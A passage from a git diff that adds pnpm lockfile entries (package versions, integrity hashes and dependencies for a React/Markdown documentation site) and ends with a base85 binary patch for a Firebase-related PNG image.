sha512-OHYtXfu5aI2sS2LWFSN5rgJjrQ4pCy8i1jubJLe2QvMF8JJ++HXTUIVWFLfXJoaOfvYYjk2SN8J2wFUWIGXT4w==} + dev: false + + /protocols@2.0.1: + resolution: {integrity: sha512-/XJ368cyBJ7fzLMwLKv1e4vLxOju2MNAIokcr7meSaNcVbWz/CPcW22cP04mwxOErdA5mwjA8Q6w/cdAQxVn7Q==} + dev: false + + /pseudomap@1.0.2: + resolution: {integrity: sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==} + dev: false + + /react-dom@18.2.0(react@18.2.0): + resolution: {integrity: sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==} + peerDependencies: + react: ^18.2.0 + dependencies: + loose-envify: 1.4.0 + react: 18.2.0 + scheduler: 0.23.0 + dev: false + + /react@18.2.0: + resolution: {integrity: sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==} + engines: {node: '>=0.10.0'} + dependencies: + loose-envify: 1.4.0 + dev: false + + /reading-time@1.5.0: + resolution: {integrity: sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==} + dev: false + + /regenerator-runtime@0.14.1: + resolution: {integrity: sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==} + dev: false + + /rehype-katex@7.0.0: + resolution: {integrity: sha512-h8FPkGE00r2XKU+/acgqwWUlyzve1IiOKwsEkg4pDL3k48PiE0Pt+/uLtVHDVkN1yA4iurZN6UES8ivHVEQV6Q==} + dependencies: + '@types/hast': 3.0.4 + '@types/katex': 0.16.7 + hast-util-from-html-isomorphic: 2.0.0 + hast-util-to-text: 4.0.0 + katex: 0.16.9 + unist-util-visit-parents: 6.0.1 + vfile: 6.0.1 + dev: false + + /rehype-pretty-code@0.9.11(shiki@0.14.7): + resolution: {integrity: sha512-Eq90eCYXQJISktfRZ8PPtwc5SUyH6fJcxS8XOMnHPUQZBtC6RYo67gGlley9X2nR8vlniPj0/7oCDEYHKQa/oA==} + engines: {node: '>=16'} + peerDependencies: + shiki: '*' + dependencies: + '@types/hast': 2.3.10 + hash-obj: 4.0.0 + parse-numeric-range: 1.3.0 + shiki: 0.14.7 + dev: false + + /rehype-raw@7.0.0: + resolution: {integrity: sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==} + dependencies: + '@types/hast': 3.0.4 + hast-util-raw: 9.0.2 + vfile: 6.0.1 + dev: false + + /remark-gfm@3.0.1: + resolution: {integrity: sha512-lEFDoi2PICJyNrACFOfDD3JlLkuSbOa5Wd8EPt06HUdptv8Gn0bxYTdbU/XXQ3swAPkEaGxxPN9cbnMHvVu1Ig==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-gfm: 2.0.2 + micromark-extension-gfm: 2.0.3 + unified: 10.1.2 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-math@5.1.1: + resolution: {integrity: sha512-cE5T2R/xLVtfFI4cCePtiRn+e6jKMtFDR3P8V3qpv8wpKjwvHoBA4eJzvX+nVrnlNy0911bdGmuspCSwetfYHw==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-math: 2.0.2 + micromark-extension-math: 2.1.2 + unified: 10.1.2 + dev: false + + /remark-mdx@2.3.0: + resolution: {integrity: sha512-g53hMkpM0I98MU266IzDFMrTD980gNF3BJnkyFcmN+dD873mQeD5rdMO3Y2X+x8umQfbSE0PcoEDl7ledSA+2g==} + dependencies: + mdast-util-mdx: 2.0.1 + micromark-extension-mdxjs: 1.0.1 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-parse@10.0.2: + resolution: {integrity: sha512-3ydxgHa/ZQzG8LvC7jTXccARYDcRld3VfcgIIFs7bI6vbRSxJJmzgLEIIoYKyrfhaY+ujuWaf/PJiMZXoiCXgw==} + dependencies: + '@types/mdast': 3.0.15 + mdast-util-from-markdown: 1.3.1 + unified: 10.1.2 + transitivePeerDependencies: + - supports-color + dev: false + + /remark-reading-time@2.0.1: + resolution: {integrity: sha512-fy4BKy9SRhtYbEHvp6AItbRTnrhiDGbqLQTSYVbQPGuRCncU1ubSsh9p/W5QZSxtYcUXv8KGL0xBgPLyNJA1xw==} + dependencies: + estree-util-is-identifier-name: 2.1.0 + estree-util-value-to-estree: 1.3.0 + reading-time: 1.5.0 + unist-util-visit: 3.1.0 + dev: false + + /remark-rehype@10.1.0: + resolution: {integrity: sha512-EFmR5zppdBp0WQeDVZ/b66CWJipB2q2VLNFMabzDSGR66Z2fQii83G5gTBbgGEnEEA0QRussvrFHxk1HWGJskw==} + dependencies: + '@types/hast': 2.3.10 + '@types/mdast': 3.0.15 + mdast-util-to-hast: 12.3.0 + unified: 10.1.2 + dev: false + + /remove-accents@0.5.0: + resolution: {integrity: sha512-8g3/Otx1eJaVD12e31UbJj1YzdtVvzH85HV7t+9MJYk/u3XmkOUJ5Ys9wQrf9PCPK8+xn4ymzqYCiZl6QWKn+A==} + dev: false + + /robust-predicates@3.0.2: + resolution: {integrity: sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg==} + dev: false + + /rw@1.3.3: + resolution: {integrity: sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ==} + dev: false + + /sade@1.8.1: + resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} + engines: {node: '>=6'} + dependencies: + mri: 1.2.0 + dev: false + + /safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + dev: false + + /scheduler@0.23.0: + resolution: {integrity: sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==} + dependencies: + loose-envify: 1.4.0 + dev: false + + /scroll-into-view-if-needed@3.1.0: + resolution: {integrity: sha512-49oNpRjWRvnU8NyGVmUaYG4jtTkNonFZI86MmGRDqBphEK2EXT9gdEUoQPZhuBM8yWHxCWbobltqYO5M4XrUvQ==} + dependencies: + compute-scroll-into-view: 3.1.0 + dev: false + + /section-matter@1.0.0: + resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} + engines: {node: '>=4'} + dependencies: + extend-shallow: 2.0.1 + kind-of: 6.0.3 + dev: false + + /shebang-command@1.2.0: + resolution: {integrity: sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==} + engines: {node: '>=0.10.0'} + dependencies: + shebang-regex: 1.0.0 + dev: false + + /shebang-regex@1.0.0: + resolution: {integrity: sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==} + engines: {node: '>=0.10.0'} + dev: false + + /shiki@0.14.7: + resolution: {integrity: sha512-dNPAPrxSc87ua2sKJ3H5dQ/6ZaY8RNnaAqK+t0eG7p0Soi2ydiqbGOTaZCqaYvA/uZYfS1LJnemt3Q+mSfcPCg==} + dependencies: + ansi-sequence-parser: 1.1.1 + jsonc-parser: 3.2.1 + vscode-oniguruma: 1.7.0 + vscode-textmate: 8.0.0 + dev: false + + /signal-exit@3.0.7: + resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==} + dev: false + + /slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + dev: false + + /sort-keys@5.0.0: + resolution: {integrity: sha512-Pdz01AvCAottHTPQGzndktFNdbRA75BgOfeT1hH+AMnJFv8lynkPi42rfeEhpx1saTEI3YNMWxfqu0sFD1G8pw==} + engines: {node: '>=12'} + dependencies: + is-plain-obj: 4.1.0 + dev: false + + /source-map-js@1.2.0: + resolution: {integrity: sha512-itJW8lvSA0TXEphiRoawsCksnlf8SyvmFzIhltqAHluXd88pkCd+cXJVHTDwdCr0IzwptSm035IHQktUu1QUMg==} + engines: {node: '>=0.10.0'} + dev: false + + /source-map@0.7.4: + resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} + engines: {node: '>= 8'} + dev: false + + /space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + dev: false + + /sprintf-js@1.0.3: + resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} + dev: false + + /streamsearch@1.1.0: + resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} + engines: {node: '>=10.0.0'} + dev: false + + /stringify-entities@4.0.3: + resolution: {integrity: sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==} + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + dev: false + + /strip-bom-string@1.0.0: + resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} + engines: {node: '>=0.10.0'} + dev: false + + /strip-eof@1.0.0: + resolution: {integrity: sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q==} + engines: {node: '>=0.10.0'} + dev: false + + /style-to-object@0.4.4: + resolution: {integrity: sha512-HYNoHZa2GorYNyqiCaBgsxvcJIn7OHq6inEga+E6Ke3m5JkoqpQbnFssk4jwe+K7AhGa2fcha4wSOf1Kn01dMg==} + dependencies: + inline-style-parser: 0.1.1 + dev: false + + /styled-jsx@5.1.1(react@18.2.0): + resolution: {integrity: sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==} + engines: {node: '>= 12.0.0'} + peerDependencies: + '@babel/core': '*' + babel-plugin-macros: '*' + react: '>= 16.8.0 || 17.x.x || ^18.0.0-0' + peerDependenciesMeta: + '@babel/core': + optional: true + babel-plugin-macros: + optional: true + dependencies: + client-only: 0.0.1 + react: 18.2.0 + dev: false + + /stylis@4.3.1: + resolution: {integrity: sha512-EQepAV+wMsIaGVGX1RECzgrcqRRU/0sYOHkeLsZ3fzHaHXZy4DaOOX0vOlGQdlsjkh3mFHAIlVimpwAs4dslyQ==} + dev: false + + /supports-color@4.5.0: + resolution: {integrity: sha512-ycQR/UbvI9xIlEdQT1TQqwoXtEldExbCEAJgRo5YXlmSKjv6ThHnP9/vwGa1gr19Gfw+LkFd7KqYMhzrRC5JYw==} + engines: {node: '>=4'} + dependencies: + has-flag: 2.0.0 + dev: false + + /title@3.5.3: + resolution: {integrity: sha512-20JyowYglSEeCvZv3EZ0nZ046vLarO37prvV0mbtQV7C8DJPGgN967r8SJkqd3XK3K3lD3/Iyfp3avjfil8Q2Q==} + hasBin: true + dependencies: + arg: 1.0.0 + chalk: 2.3.0 + clipboardy: 1.2.2 + titleize: 1.0.0 + dev: false + + /titleize@1.0.0: + resolution: {integrity: sha512-TARUb7z1pGvlLxgPk++7wJ6aycXF3GJ0sNSBTAsTuJrQG5QuZlkUQP+zl+nbjAh4gMX9yDw9ZYklMd7vAfJKEw==} + engines: {node: '>=0.10.0'} + dev: false + + /trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + dev: false + + /trough@2.2.0: + resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} + dev: false + + /ts-dedent@2.2.0: + resolution: {integrity: sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==} + engines: {node: '>=6.10'} + dev: false + + /tslib@2.6.2: + resolution: {integrity: sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==} + dev: false + + /type-fest@1.4.0: + resolution: {integrity: sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==} + engines: {node: '>=10'} + dev: false + + /typescript@4.9.5: + resolution: {integrity: sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==} + engines: {node: '>=4.2.0'} + hasBin: true + dev: true + + /unified@10.1.2: + resolution: {integrity: sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==} + dependencies: + '@types/unist': 2.0.10 + bail: 2.0.2 + extend: 3.0.2 + is-buffer: 2.0.5 + is-plain-obj: 4.1.0 + trough: 2.2.0 + vfile: 5.3.7 + dev: false + + /unist-util-find-after@5.0.0: + resolution: {integrity: sha512-amQa0Ep2m6hE2g72AugUItjbuM8X8cGQnFoHk0pGfrFeT9GZhzN5SW8nRsiGKK7Aif4CrACPENkA6P/Lw6fHGQ==} + dependencies: + '@types/unist': 3.0.2 + unist-util-is: 6.0.0 + dev: false + + /unist-util-generated@2.0.1: + resolution: {integrity: sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==} + dev: false + + /unist-util-is@5.2.1: + resolution: {integrity: sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-is@6.0.0: + resolution: {integrity: sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==} + dependencies: + '@types/unist': 3.0.2 + dev: false + + /unist-util-position-from-estree@1.1.2: + resolution: {integrity: sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-position@4.0.4: + resolution: {integrity: sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-position@5.0.0: + resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} + dependencies: + '@types/unist': 3.0.2 + dev: false + + /unist-util-remove-position@4.0.2: + resolution: {integrity: sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==} + dependencies: + '@types/unist': 2.0.10 + unist-util-visit: 4.1.2 + dev: false + + /unist-util-remove-position@5.0.0: + resolution: {integrity: sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q==} + dependencies: + '@types/unist': 3.0.2 + unist-util-visit: 5.0.0 + dev: false + + /unist-util-remove@4.0.0: + resolution: {integrity: sha512-b4gokeGId57UVRX/eVKej5gXqGlc9+trkORhFJpu9raqZkZhU0zm8Doi05+HaiBsMEIJowL+2WtQ5ItjsngPXg==} + dependencies: + '@types/unist': 3.0.2 + unist-util-is: 6.0.0 + unist-util-visit-parents: 6.0.1 + dev: false + + /unist-util-stringify-position@3.0.3: + resolution: {integrity: sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-stringify-position@4.0.0: + resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} + dependencies: + '@types/unist': 3.0.2 + dev: false + + /unist-util-visit-parents@4.1.1: + resolution: {integrity: sha512-1xAFJXAKpnnJl8G7K5KgU7FY55y3GcLIXqkzUj5QF/QVP7biUm0K0O2oqVkYsdjzJKifYeWn9+o6piAK2hGSHw==} + dependencies: + '@types/unist': 2.0.10 + unist-util-is: 5.2.1 + dev: false + + /unist-util-visit-parents@5.1.3: + resolution: {integrity: sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==} + dependencies: + '@types/unist': 2.0.10 + unist-util-is: 5.2.1 + dev: false + + /unist-util-visit-parents@6.0.1: + resolution: {integrity: sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==} + dependencies: + '@types/unist': 3.0.2 + unist-util-is: 6.0.0 + dev: false + + /unist-util-visit@3.1.0: + resolution: {integrity: sha512-Szoh+R/Ll68QWAyQyZZpQzZQm2UPbxibDvaY8Xc9SUtYgPsDzx5AWSk++UUt2hJuow8mvwR+rG+LQLw+KsuAKA==} + dependencies: + '@types/unist': 2.0.10 + unist-util-is: 5.2.1 + unist-util-visit-parents: 4.1.1 + dev: false + + /unist-util-visit@4.1.2: + resolution: {integrity: sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==} + dependencies: + '@types/unist': 2.0.10 + unist-util-is: 5.2.1 + unist-util-visit-parents: 5.1.3 + dev: false + + /unist-util-visit@5.0.0: + resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==} + dependencies: + '@types/unist': 3.0.2 + unist-util-is: 6.0.0 + unist-util-visit-parents: 6.0.1 + dev: false + + /uuid@9.0.1: + resolution: {integrity: sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA==} + hasBin: true + dev: false + + /uvu@0.5.6: + resolution: {integrity: sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==} + engines: {node: '>=8'} + hasBin: true + dependencies: + dequal: 2.0.3 + diff: 5.2.0 + kleur: 4.1.5 + sade: 1.8.1 + dev: false + + /vfile-location@5.0.2: + resolution: {integrity: sha512-NXPYyxyBSH7zB5U6+3uDdd6Nybz6o6/od9rk8bp9H8GR3L+cm/fC0uUTbqBmUTnMCUDslAGBOIKNfvvb+gGlDg==} + dependencies: + '@types/unist': 3.0.2 + vfile: 6.0.1 + dev: false + + /vfile-matter@3.0.1: + resolution: {integrity: sha512-CAAIDwnh6ZdtrqAuxdElUqQRQDQgbbIrYtDYI8gCjXS1qQ+1XdLoK8FIZWxJwn0/I+BkSSZpar3SOgjemQz4fg==} + dependencies: + '@types/js-yaml': 4.0.9 + is-buffer: 2.0.5 + js-yaml: 4.1.0 + dev: false + + /vfile-message@3.1.4: + resolution: {integrity: sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==} + dependencies: + '@types/unist': 2.0.10 + unist-util-stringify-position: 3.0.3 + dev: false + + /vfile-message@4.0.2: + resolution: {integrity: sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==} + dependencies: + '@types/unist': 3.0.2 + unist-util-stringify-position: 4.0.0 + dev: false + + /vfile@5.3.7: + resolution: {integrity: sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==} + dependencies: + '@types/unist': 2.0.10 + is-buffer: 2.0.5 + unist-util-stringify-position: 3.0.3 + vfile-message: 3.1.4 + dev: false + + /vfile@6.0.1: + resolution: {integrity: sha512-1bYqc7pt6NIADBJ98UiG0Bn/CHIVOoZ/IyEkqIruLg0mE1BKzkOXY2D6CSqQIcKqgadppE5lrxgWXJmXd7zZJw==} + dependencies: + '@types/unist': 3.0.2 + unist-util-stringify-position: 4.0.0 + vfile-message: 4.0.2 + dev: false + + /vscode-oniguruma@1.7.0: + resolution: {integrity: sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==} + dev: false + + /vscode-textmate@8.0.0: + resolution: {integrity: sha512-AFbieoL7a5LMqcnOF04ji+rpXadgOXnZsxQr//r83kLPr7biP7am3g9zbaZIaBGwBRWeSvoMD4mgPdX3e4NWBg==} + dev: false + + /watchpack@2.4.0: + resolution: {integrity: sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==} + engines: {node: '>=10.13.0'} + dependencies: + glob-to-regexp: 0.4.1 + graceful-fs: 4.2.11 + dev: false + + /web-namespaces@2.0.1: + resolution: {integrity: sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==} + dev: false + + /web-worker@1.3.0: + resolution: {integrity: sha512-BSR9wyRsy/KOValMgd5kMyr3JzpdeoR9KVId8u5GVlTTAtNChlsE4yTxeY7zMdNSyOmoKBv8NH2qeRY9Tg+IaA==} + dev: false + + /which@1.3.1: + resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==} + hasBin: true + dependencies: + isexe: 2.0.0 + dev: false + + /yallist@2.1.2: + resolution: {integrity: sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A==} + dev: false + + /yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + dev: false + + /zod@3.22.4: + resolution: {integrity: sha512-iC+8Io04lddc+mVqQ9AZ7OQ2MrUKGN+oIQyq1vemgt46jwCwLfhq7/pwnBnNXXXZb8VTVLKwp9EDkx+ryxIWmg==} + dev: false + + /zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + dev: false diff --git a/public/images/firebase/firebasefunction.png b/public/images/firebase/firebasefunction.png index 99eabbfbe6e23779163e98902a9b9ae9138c537c..73f3331727bd612723ef33a0ffa983de6cd5061e 100644 GIT binary patch literal 4598 zcmc(jXHZkYyT(xw5h(&HJwT+0AiYT-2nIn)5Tpsxksd;?5u}LpDqtW15d$L4D4hTz z9i#{G`swYWG!w#VdCf19=PKz$A{$z+tVK9d@YYuS77mE3Xla| zlt@E5uIM$SL0O+UD|OeV`gnkH_=na`Ti!-AU*#|$1q%Kth7Yp(-i{z~h&$j;S&w$jJ5{J_6@Qq*?;pXoC+ z_SHX=1Db{DU#xB=LBKyxn&1Cnpan61D#|F{a8D()nOLSpu7Z+M&+@YK!3CDoOL70E z!Y?6_91#(5H?M*+SC6cJ-;n&=jMj(54IyD5(DYw2yF8B{J@V{({ZUXSlPX0UIBZl3YQ;|mX~i88@YxTTu;5!{%^(nv5{AqgCyDUzdao0l(<;)4u<63v|+LA zYop@zt=;X6o8m)0wIkQBUr)`-s+k^Ppou)$Ne+9uy%yIMITOO9da~W$&Nv%Q&xHv| z{xcab)OuQUj}n2y4QNX2!Xm+>@eN^D*cK3TwAd(dL9 zoF+ZG*U|iCB~?;WA0@aS7SA(BNI6}yxwGT7Yf9F7M^=qJbFqDQR^Hv)J2!;UIXM~# zvl=AZVcE09EzQ?wW4lyVCv#mhpjYquNA)k*f}8Umcx;W-YB-#U`A_KIjRBOtowbRQ zrJ{+i08|zLk|Ab5FU_#(QJs%Xg`zFGe#SVN@?jo&PZLwzJ`q+9_&V{R~b+t9D zOhXV7(_lT`cA}aj=fR9rXmwb*nbMSkTh$56#(O$5N19UyGahCbmzdn?vfC*yF9$I_ zfB*uooSj#*$K+(!1hXHnbMNeUbu@GH6GLxeO8P{X@G8Vt$HfvNg^t!tEd#R&odZ$` zT;yVpdTGZVQs`wv1U>JrjZAq+15%99H8^_5ly1brTtlQQ_*BmGN>0}Y=zX{wh%?BIn0#W0h5 zcZD`B)uI`LK5>l1j@z}Kddr-px1vC*(35n&GZo|7rZAY)cR2tj)4t4}hO!S?el;(^ z7FrZLyij@v<64t9J$RKz0xv}`x>?3Ut=g?jBHoSG_a7wU=6ako99obX`^2z~)-N5= zAxj3)P=+7mOtwxswteAOJEmh&(;a?nk|x(?2?RBA=MuXruhV=108!PBFUsl9`MIT; z2eY4#2YmdE_iVl^yMLIx>h%olRxXY?Lj$70@zzcL<4K0xy%n!#qG5JPv5gL^_^zzE zwr2K1vZu_XpNXSFuTLl=vikY*qwBe4;9xMPP;G_p$Hq#$rzvSWk6S1-6y=jgz0>^U zWynGm`o+rL&`D^@j6^4gs)FwJ1zuw=_pG^Wov=1Ze*Z|EEHa zTXo`lHP5RR$=+MzTy|DE0Pjr0+A0pWsnG1uNr(e|soO+gfb5X1!mS`I+L`Vv-{Fr$ z*(PNz(xmwTik7v}#zxd-aT~yv$Ll_e+29B3=P2gx8IoNufxjfgF@Y}Q1{0j_gTt#u zhdB}u3OR8$Hcl_hICq`e9NHTTBC8WGk8xSQoB6pU(ARlOtYl{2`i7m(z9smV*#>6g z5yJ!P3sw3IEZxdk$2>f>XCEVWpYx|tbr{l>a7iU^7Ok{<&}g!}(dd&k8DkGDK=sVo zzGExw+3eAi&R<~wK1rvSH#is$cPmmtipM$SA<*?XR-5n6(DK^pXxzacq1*jXhp{rp zlakWcjYCjxSRcdMVOG)Ypp*I3HE5NzNzgWrOPf3%(yD68s>D<+=Ya#6FPph+?`1;m zTxxA|%zj6N6`@-)&3mdLTI|UNL|umcEg}{sQZNIt3mrHYdBO`TSR`3io>_2&=iiEb zD7uN}A^z4FZ7zwZpP?@G{DiGft!_;=u(ZS;Yv^pb=E-x=L)C@MJ;&94w zadDqnQ(}};ZYb|)<$~`KR!SJ#K%?oOXO)e<2RC$2ugouitd)O52$PfFQB%~BTXLyg 